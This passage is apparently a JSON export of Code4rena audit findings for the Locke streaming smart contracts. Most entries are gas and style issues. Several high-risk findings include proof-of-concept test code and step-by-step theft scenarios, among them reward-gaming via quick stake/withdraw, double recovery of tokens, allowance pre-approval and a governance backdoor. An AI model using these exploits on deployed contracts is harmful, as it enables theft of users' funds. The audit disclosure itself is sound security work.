"html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/239", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "`LockeERC20.sol#toString()` Implementation can be simpler and save some gas"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/238", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Constructors should not have visibility", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/236", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-streaming-findings", "body": "Constructors should not have visibility"}, {"title": "Slot packing increases runtime gas consumption due to masking", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/235", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Slot packing increases runtime gas consumption due to masking"}, {"title": "Implementations should inherit their interface", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/234", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-streaming-findings", "body": "# Handle WatchPug # Vulnerability details It's a best practice for the contract implementations to inherit their interface definition. Doing so would improve the contract's clarity, and force the implementation to comply with the defined interface. Instances include: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/TransferService.sol#L14-L14 ```solidity=14 contract TransferService is Initializable, Permissions { ``` `TransferService` should inherit `ITransferService`. https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/DexHandlers/UniswapHandler.sol#L20-L20 ```solidity=20 contract UniswapHandler is Initializable, Permissions { ``` `UniswapHandler` should inherit `IDexHandler`. "}, {"title": "Remove unnecessary variables can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/233", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Remove unnecessary variables can make the code simpler and save some gas"}, {"title": "Cache and read storage variables from the stack can save gas", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/232", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Cache and read storage variables from the stack can save gas"}, {"title": "Use immutable variables can save gas", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/231", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Use immutable variables can save gas"}, {"title": "DOS while dealing with erc20 when value(i.e amount*decimals) is high but less than type(uint112).max", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/228", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle\r \r hack3r-0m\r \r \r # Vulnerability details\r \r ## Impact\r \r https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L229\r \r reverts due to overflow for higher values (but strictly less than type(uint112).max) and hence when user calls `exit` or `withdraw` function it will revert and that user will not able to withdraw funds permanentaly.\r \r ## Proof of Concept\r \r Attaching diff to modify tests to reproduce behaviour:\r \r ```\r diff --git a/Streaming/src/test/Locke.t.sol b/Streaming/src/test/Locke.t.sol\r index 2be8db0..aba19ce 100644\r --- a/Streaming/src/test/Locke.t.sol\r +++ b/Streaming/src/test/Locke.t.sol\r @@ -166,14 +166,14 @@ contract StreamTest is LockeTest {\r );\r \r testTokenA.approve(address(stream), type(uint256).max);\r - stream.fundStream((10**14)*10**18);\r + stream.fundStream(1000);\r \r - alice.doStake(stream, address(testTokenB), (10**13)*10**18);\r + alice.doStake(stream, address(testTokenB), 100);\r \r \r hevm.warp(startTime + minStreamDuration / 2); // move to half done\r \r - bob.doStake(stream, address(testTokenB), (10**13)*10**18);\r + bob.doStake(stream, address(testTokenB), 100);\r \r hevm.warp(startTime + minStreamDuration / 2 + minStreamDuration / 10);\r \r @@ -182,10 +182,10 @@ contract StreamTest is LockeTest {\r hevm.warp(startTime + minStreamDuration + 1); // warp to end of stream\r \r \r - // alice.doClaimReward(stream);\r - // assertEq(testTokenA.balanceOf(address(alice)), 533*(10**15));\r - // bob.doClaimReward(stream);\r - // assertEq(testTokenA.balanceOf(address(bob)), 466*(10**15));\r + alice.doClaimReward(stream);\r + assertEq(testTokenA.balanceOf(address(alice)), 533);\r + bob.doClaimReward(stream);\r + assertEq(testTokenA.balanceOf(address(bob)), 466);\r }\r \r function test_stake() public {\r diff --git a/Streaming/src/test/utils/LockeTest.sol b/Streaming/src/test/utils/LockeTest.sol\r index eb38060..a479875 100644\r --- a/Streaming/src/test/utils/LockeTest.sol\r +++ b/Streaming/src/test/utils/LockeTest.sol\r @@ -90,11 +90,11 @@ abstract contract LockeTest is TestHelpers {\r testTokenA = ERC20(address(new TestToken(\"Test Token A\", \"TTA\", 18)));\r testTokenB = ERC20(address(new TestToken(\"Test Token B\", \"TTB\", 18)));\r testTokenC = ERC20(address(new TestToken(\"Test Token C\", \"TTC\", 18)));\r - write_balanceOf_ts(address(testTokenA), address(this), (10**14)*10**18);\r - write_balanceOf_ts(address(testTokenB), address(this), (10**14)*10**18);\r - write_balanceOf_ts(address(testTokenC), address(this), (10**14)*10**18);\r - assertEq(testTokenA.balanceOf(address(this)), (10**14)*10**18);\r - assertEq(testTokenB.balanceOf(address(this)), (10**14)*10**18);\r + write_balanceOf_ts(address(testTokenA), address(this), 100*10**18);\r + write_balanceOf_ts(address(testTokenB), address(this), 100*10**18);\r + write_balanceOf_ts(address(testTokenC), address(this), 100*10**18);\r + assertEq(testTokenA.balanceOf(address(this)), 100*10**18);\r + assertEq(testTokenB.balanceOf(address(this)), 100*10**18);\r \r defaultStreamFactory = new StreamFactory(address(this), address(this));\r \r ```\r \r ## Tools Used\r \r Manual Review\r \r ## Recommended Mitigation Steps\r \r Consider doing arithmetic operations in two steps or upcasting to u256 and then downcasting. Alternatively, find a threshold where it breaks and add require condition to not allow total stake per user greater than threshhold.\r \r "}, {"title": "Emergency gov is never used", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/226", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-streaming-findings", "body": "Emergency gov is never used"}, {"title": "Loss of precision causing incorrect flashloan & creator fee calculation", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/221", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Loss of precision causing incorrect flashloan & creator fee calculation"}, {"title": "Gas: Check `_feePercent` instead", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Gas: Check `_feePercent` instead"}, {"title": "Gas: `unstreamed` not needed", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/216", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Gas: `unstreamed` not needed"}, {"title": "Tokens can be stolen when `depositToken == rewardToken`", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/215", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle cmichel # Vulnerability details The `Streaming` contract allows the `deposit` and `reward` tokens to be the same token. > I believe this is intended, think Sushi reward on Sushi as is the case with `xSushi`. The reward and deposit balances are also correctly tracked independently in `depositTokenAmount` and `rewardTokenAmount`. However, when recovering tokens this leads to issues as the token is recovered twice, once for deposits and another time for rewards: ```solidity function recoverTokens(address token, address recipient) public lock { // NOTE: it is the stream creators responsibility to save // tokens on behalf of their users. require(msg.sender == streamCreator, \"!creator\"); if (token == depositToken) { require(block.timestamp > endDepositLock, \"time\"); // get the balance of this contract // check what isnt claimable by either party // @audit-info depositTokenAmount updated on stake/withdraw/exit, redeemedDepositTokens increased on claimDepositTokens uint256 excess = ERC20(token).balanceOf(address(this)) - (depositTokenAmount - redeemedDepositTokens); // allow saving of the token ERC20(token).safeTransfer(recipient, excess); emit RecoveredTokens(token, recipient, excess); return; } if (token == rewardToken) { require(block.timestamp > endRewardLock, \"time\"); // check current balance vs internal balance // // NOTE: if a token rebases, i.e. changes balance out from under us, // most of this contract breaks and rugs depositors. this isn't exclusive // to this function but this function would in theory allow someone to rug // and recover the excess (if it is worth anything) // check what isnt claimable by depositors and governance // @audit-info rewardTokenAmount increased on fundStream uint256 excess = ERC20(token).balanceOf(address(this)) - (rewardTokenAmount + rewardTokenFeeAmount); ERC20(token).safeTransfer(recipient, excess); emit RecoveredTokens(token, recipient, excess); return; } // ... ``` #### POC Given `recoverTokens == depositToken`, `Stream` creator calls `recoverTokens(token = depositToken, creator)`. - The `token` balance is the sum of deposited tokens (minus reclaimed) plus the reward token amount. `ERC20(token).balanceOf(address(this)) >= (depositTokenAmount - redeemedDepositTokens) + (rewardTokenAmount + rewardTokenFeeAmount)` - `if (token == depositToken)` executes, the `excess` from the deposit amount will be the reward amount (`excess >= rewardTokenAmount + rewardTokenFeeAmount`). This will be transferred. - `if (token == rewardToken)` executes, the new token balance is just the deposit token amount now (because the reward token amount has been transferred out in the step before). Therefore, `ERC20(token).balanceOf(address(this)) >= depositTokenAmount - redeemedDepositTokens`. If this is non-negative, the transaction does not revert and the creator makes a profit. Example: - outstanding redeemable deposit token amount: `depositTokenAmount - redeemedDepositTokens = 1000` - funded `rewardTokenAmount` (plus `rewardTokenFeeAmount` fees): `rewardTokenAmount + rewardTokenFeeAmount = 500` Creator receives `1500 - 1000 = 500` excess deposit and `1000 - 500 = 500` excess reward. ## Impact When using the same deposit and reward token, the stream creator can steal tokens from the users who will be unable to withdraw their profit or claim their rewards. ## Recommended Mitigation Steps One needs to be careful with using `.balanceOf` in this special case as it includes both deposit and reward balances. Add a special case for `recoverTokens` when `token == depositToken == rewardToken` and then the excess should be `ERC20(token).balanceOf(address(this)) - (depositTokenAmount - redeemedDepositTokens) - (rewardTokenAmount + rewardTokenFeeAmount);` "}, {"title": "Reward token not correctly recovered", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/214", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle cmichel # Vulnerability details The `Streaming` contract allows recovering the reward token by calling `recoverTokens(rewardToken, recipient)`. However, the excess amount is computed incorrectly as `ERC20(token).balanceOf(address(this)) - (rewardTokenAmount + rewardTokenFeeAmount)`: ```solidity function recoverTokens(address token, address recipient) public lock { if (token == rewardToken) { require(block.timestamp > endRewardLock, \"time\"); // check what isnt claimable by depositors and governance // @audit-issue rewardTokenAmount increased on fundStream, but never decreased! this excess underflows uint256 excess = ERC20(token).balanceOf(address(this)) - (rewardTokenAmount + rewardTokenFeeAmount); ERC20(token).safeTransfer(recipient, excess); emit RecoveredTokens(token, recipient, excess); return; } // ... ``` Note that `rewardTokenAmount` only ever _increases_ (when calling `fundStream`) but it never decreases when claiming the rewards through `claimReward`. However, `claimReward` transfers out the reward token. Therefore, the `rewardTokenAmount` never tracks the contract's reward balance and the excess cannot be computed that way. #### POC Assume no reward fees for simplicity and only a single user staking. - Someone funds `1000` reward tokens through `fundStream(1000)`. Then `rewardTokenAmount = 1000` - The stream and reward lock period is over, i.e. `block.timestamp > endRewardLock` - The user claims their full reward and receives `1000` reward tokens by calling `claimReward()`. The reward contract balance is now `0` but `rewardTokenAmount = 1000` - Some fool sends 1000 reward tokens to the contract by accident. These cannot be recovered as the `excess = balance - rewardTokenAmount = 0` ## Impact Reward token recovery does not work. ## Recommended Mitigation Steps The claimed rewards need to be tracked as well, just like the claimed deposits are tracked. I think you can even decrease `rewardTokenAmount` in `claimReward` because at this point `rewardTokenAmount` is not used to update the `cumulativeRewardPerToken` anymore. "}, {"title": "Inaccurate comment in `recoverTokens`", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/213", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle cmichel # Vulnerability details The `recoverTokens` function's comment states that the excess deposit tokens are `balance - depositTokenAmount`: > * 1. if its deposit token: > * - DepositLock is fully done > * - There are excess deposit tokens (balance - depositTokenAmount) But it is `balance - (depositTokenAmount - redeemedDepositTokens)` where `(depositTokenAmount - redeemedDepositTokens)` is the outstanding redeemable amount. ## Impact The code is correct. ## Recommended Mitigation Steps Fix the comment. "}, {"title": "Token owner cannot claim rewardToken if they are not the original depositor", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/204", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle gzeon # Vulnerability details ## Impact The comment in https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L553 stated that: > Allows a receipt token holder (or original depositor in case of a sale) to claim their rewardTokens but the reward is only tracked to the original depositor in both case, see https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L558 ``` TokenStream storage ts = tokensNotYetStreamed[msg.sender]; ``` Transferring the LockeERC20 token does not transfer the TokenStream state. "}, {"title": "Incentives paid to creator instead of depositor", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/201", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle gzeon # Vulnerability details ## Impact The documentation is unclear, but it make little sense that incentives are only paid to the stream creator instead of depositors. This make the incentives more like donation to the creator but not actually incentivizing the stream. https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L518 "}, {"title": "Possible incentive theft through the arbitraryCall() function", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/199", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle toastedsteaksandwich # Vulnerability details ## Impact The Locke.arbitraryCall() function allows the inherited governance contract to perform arbitrary contract calls within certain constraints. Contract calls to tokens provided as incentives through the createIncentive() function are not allowed if there is some still some balance according to the incentives mapping (See line 735 referenced below). However, the token can still be called prior any user creating an incentive, so it's possible for the arbitraryCall() function to be used to set an allowance on an incentive token before the contract has actually received any of the token through createIncentive(). In summary: 1) If some possible incentive tokens are known prior to being provided, the arbitraryCall() function can be used to pre-approve a token allowance for a malicious recipient. 2) Once a user calls createIncentive() and provides one of the pre-approved tokens, the malicious recipient can call transferFrom on the provided incentive token and withdraw the tokens. ## Proof of Concept https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L735 ## Recommended Mitigation Steps ### Recommendation 1 Limit the types of incentive tokens so it can be checked that it's not the target contract for the arbitraryCall(). ### Recommendation 2 Validate that the allowance of the target contract (if available) has not changed. "}, {"title": "This protocol doesn't support all fee on transfer tokens", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/192", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "This protocol doesn't support all fee on transfer tokens"}, {"title": "In claimReward, reward can be cached more efficiently.", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/190", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "In claimReward, reward can be cached more efficiently."}, {"title": "Not needed lastApplicableTime call in claimReward", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/189", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Not needed lastApplicableTime call in claimReward"}, {"title": "Directly calculate fee in flash loan", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/188", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Directly calculate fee in flash loan"}, {"title": "When exit is called, updateStream is called twice", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/187", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "When exit is called, updateStream is called twice"}, {"title": "fundStream can be implemented more efficiently", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/186", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "fundStream can be implemented more efficiently"}, {"title": "No need to check fee inside factories constructor", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/185", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "No need to check fee inside factories constructor"}, {"title": "Gas Optimization: Use minimal proxy", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Gas Optimization: Use minimal proxy"}, {"title": "Gas Optimization: Move common logic out of if block", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/181", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Gas Optimization: Move common logic out of if block"}, {"title": "Eliminate amt in fundStream", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/179", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Eliminate amt in fundStream"}, {"title": "`arbitraryCall` does not need to check returned byte", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/168", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "`arbitraryCall` does not need to check returned byte"}, {"title": "Creating rewardTokens without streaming depositTokens", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/166", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle bitbopper # Vulnerability details ## Impact `stake` and `withdraws` can generate rewardTokens without streaming depositTokens. It does not matter whether the stream is a sale or not. The following lines can increase the reward balance on a `withdraw` some time after `stake`: https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L219:L222 ``` // accumulate reward per token info cumulativeRewardPerToken = rewardPerToken(); // update user rewards ts.rewards = earned(ts, cumulativeRewardPerToken); ``` While the following line can be gamed in order to not stream any tokens (same withdraw tx). Specifically an attacker can arrange to create a fraction less than zero thereby substracting zero. https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L229 ``` ts.tokens -= uint112(acctTimeDelta * ts.tokens / (endStream - ts.lastUpdate)); // WARDEN TRANSLATION: (elapsedSecondsSinceStake * stakeAmount) / (endStreamTimestamp - stakeTimestamp) ``` A succesful attack increases the share of rewardTokens of the attacker. The attack can be repeated every block increasing the share further. The attack could be done from multiple EOA increasing the share further. In short: Attackers can create loss of funds for (honest) stakers. The economic feasability of the attack depends on: - staked amount (times number of attacks) vs total staked amount - relative value of rewardToken to gasprice ## Proof of Concept ### code The following was added to `Locke.t.sol` for the `StreamTest` Contract to simulate the attack from one EOA. ``` function test_quickDepositAndWithdraw() public { //// SETUP // accounting (to proof attack): save the rewardBalance of alice. uint StartBalanceA = testTokenA.balanceOf(address(alice)); uint112 stakeAmount = 10_000; // start stream and fill it ( uint32 maxDepositLockDuration, uint32 maxRewardLockDuration, uint32 maxStreamDuration, uint32 minStreamDuration ) = defaultStreamFactory.streamParams(); uint64 nextStream = defaultStreamFactory.currStreamId(); Stream stream = defaultStreamFactory.createStream( address(testTokenA), address(testTokenB), uint32(block.timestamp + 10), maxStreamDuration, maxDepositLockDuration, 0, false // false, // bytes32(0) ); testTokenA.approve(address(stream), type(uint256).max); stream.fundStream(1_000_000_000); // wait till the stream starts hevm.warp(block.timestamp + 16); hevm.roll(block.number + 1); // just interact with contract to fill \"lastUpdate\" and \"ts.lastUpdate\" // without changing balances inside of Streaming contract alice.doStake(stream, address(testTokenB), stakeAmount); alice.doWithdraw(stream, stakeAmount); ///// ATTACK COMES HERE // stake alice.doStake(stream, address(testTokenB), stakeAmount); // wait a block hevm.roll(block.number + 1); hevm.warp(block.timestamp + 16); // withdraw soon thereafter alice.doWithdraw(stream, stakeAmount); // finish the stream hevm.roll(block.number + 9999); hevm.warp(block.timestamp + maxDepositLockDuration); // get reward alice.doClaimReward(stream); // accounting (to proof attack): save the rewardBalance of alice / save balance of stakeToken uint EndBalanceA = testTokenA.balanceOf(address(alice)); uint EndBalanceB = testTokenB.balanceOf(address(alice)); // Stream returned everything we gave it // (doStake sets balance of alice out of thin air => we compare end balance against our (thin air) balance) assert(stakeAmount == EndBalanceB); // we gained reward token without risk assert(StartBalanceA == 0); assert(StartBalanceA < EndBalanceA); emit log_named_uint(\"alice gained\", EndBalanceA); } ``` ### commandline ``` dapp test --verbosity=2 --match \"test_quickDepositAndWithdraw\" 2> /dev/null Running 1 tests for src/test/Locke.t.sol:StreamTest [PASS] test_quickDepositAndWithdraw() (gas: 4501209) Success: test_quickDepositAndWithdraw alice gained: 13227 ``` ## Tools Used dapptools ## Recommended Mitigation Steps Ensure staked tokens can not generate reward tokens without streaming deposit tokens. First idea that comes to mind is making following line `https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L220` dependable on a positive amount > 0 of: `https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L229` "}, {"title": "Any arbitraryCall gathered airdrop can be stolen with recoverTokens", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/162", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-11-streaming-findings", "body": "Any arbitraryCall gathered airdrop can be stolen with recoverTokens"}, {"title": "`Governed` doesn't implement the `IGoverned` interface", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/161", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-11-streaming-findings", "body": "`Governed` doesn't implement the `IGoverned` interface"}, {"title": "`Governed`'s constructor doesn't emit an initial `NewGov` event", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/159", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "`Governed`'s constructor doesn't emit an initial `NewGov` event"}, {"title": "`Governed.acceptGov()` emits `NewGov` events when the governor hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/158", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "`Governed.acceptGov()` emits `NewGov` events when the governor hasn't changed"}, {"title": "`Governed.setPendingGov()` emits `NewPendingGov` events when the pending governor hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/157", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "`Governed.setPendingGov()` emits `NewPendingGov` events when the pending governor hasn't changed"}, {"title": "`LockeERC20.approve()` and `LockeERC20.permit()` emit `Approval` events when the allowence hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/153", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor disputed"], "target": "2021-11-streaming-findings", "body": "`LockeERC20.approve()` and `LockeERC20.permit()` emit `Approval` events when the allowence hasn't changed"}, {"title": "`LockeERC20.transferFrom()` emits `Transfer` events when `from` equals `to`", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/151", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor disputed"], "target": "2021-11-streaming-findings", "body": "`LockeERC20.transferFrom()` emits `Transfer` events when `from` equals `to`"}, {"title": "`LockeERC20.transfer()` and `LockeERC20.transferFrom()` emit `Transfer` events when the transferred amount is zero", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/150", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-streaming-findings", "body": "`LockeERC20.transfer()` and `LockeERC20.transferFrom()` emit `Transfer` events when the transferred amount is zero"}, {"title": "`rewardPerToken()` reverts before start time.", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/147", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact `rewardPerToken()` is calculated according to `lastApplicableTime`and `lastUpdate`. [Locke.sol#L343-L353](https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L343-L353) Since `lastUpdate` is set to `startTime` before the start time. [Locke.sol#L203-L250](https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L203-L250), it reverts before the start time. `lastApplicableTime()) - lastUpdate` would revert when `lastUpdate` is bigger than `lastApplicableTime()`. ## Proof of Concept This is the web3.py script: ```python stream.functions.stake(deposit_amount).transact() stream.functions.rewardPerToken().call() ``` Since `rewardPerToken` returns zero when totalVirtualBalance equals zero, we have to stake a few funds to trigger this bug. ## Tools Used hardhat ## Recommended Mitigation Steps Recommend to return zero before startTime. ```solidity function rewardPerToken() public view returns (uint256) { if (totalVirtualBalance == 0 || lastApplicableTime() < startTime) { return cumulativeRewardPerToken; } else { // \u2206time*rewardTokensPerSecond*oneDepositToken / totalVirtualBalance return cumulativeRewardPerToken + ( // NOTE: depositDecimalsOne ((uint256(lastApplicableTime()) - lastUpdate) * rewardTokenAmount * depositDecimalsOne/streamDuration) / totalVirtualBalance ); } } ``` "}, {"title": "Avoid fee ", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/145", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Avoid fee "}, {"title": "\"> 0\" is less efficient than \"!= 0\" for unsigned integers", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/143", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "\"> 0\" is less efficient than \"!= 0\" for unsigned integers"}, {"title": "Use existing memory version of state variables (Locke.sol)", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/142", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Use existing memory version of state variables (Locke.sol)"}, {"title": "Missing contract check on `rewardtoken`", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/140", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Missing contract check on `rewardtoken`"}, {"title": "[Gas optimization] remove command less else in an if else", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/137", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle Omik # Vulnerability details ## Impact In the https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L472 the withdraw and stake function there is unnecessary else statement which didnt have any command inside it, this can lead to gas consumption more expensive then using only if statement for isSale check. ## Proof of Concept pragma solidity ^0.8.0; contract testing { uint public counter; function test()public { if(true){ counter += 1; }else{ } }//43582 gas function test2()public { if(true){ counter += 1; } }//26449 gas } "}, {"title": "Missing address(0) check can, lead to user transfering token to the burn address, and doesnt reduce the total supply", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/136", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-11-streaming-findings", "body": "Missing address(0) check can, lead to user transfering token to the burn address, and doesnt reduce the total supply"}, {"title": "Missing address(0) check, can crippled the governed functions", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/135", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Missing address(0) check, can crippled the governed functions"}, {"title": "Business logic bug in __abdicate() function - 2 Bugs", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/132", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle cyberboy # Vulnerability details ## Impact The __abdicate() function at https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L46-L50 is the logic to remove the governance i.e., to renounce governance. However, the function logic does not consider emergency governor and pending governor, which can be a backdoor as only the \"gov\" is set to zero address while the emergency and pending gov remains. A pending gov can just claim and become the gov again, replacing the zero address. ## Proof of Concept 1. Compile the contract and set the _GOVERNOR and _EMERGENCY_GOVERNOR. 2. Now set a pendingGov but do not call acceptGov() Bug 1 3. Call the __abdicate() function and we will notice only \"gov\" is set to zero address while emergency gov remains. Bug2 4. Now use the address used in \"pendingGov\" to call acceptGov() function. 5. We will notice the new gov has been updated to the new address from the zero address. Hence the __abdicate() functionality can be used as a backdoor using emergency governor or leaving a pending governor to claim later. ## Tools Used Remix to test the poC ## Recommended Mitigation Steps The __abdicate() function should set emergency_gov and pendingGov as well to zero address. "}, {"title": "Structs can be rearranged to save gas", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/131", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Structs can be rearranged to save gas"}, {"title": "Flash loan mechanics do not implement any standard", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/130", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Flash loan mechanics do not implement any standard"}, {"title": "Use local variable in fundStream()", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Use local variable in fundStream()"}, {"title": "parameter \"who\" not used", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/125", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-streaming-findings", "body": "parameter \"who\" not used"}, {"title": "prevent rounding error", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/124", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-streaming-findings", 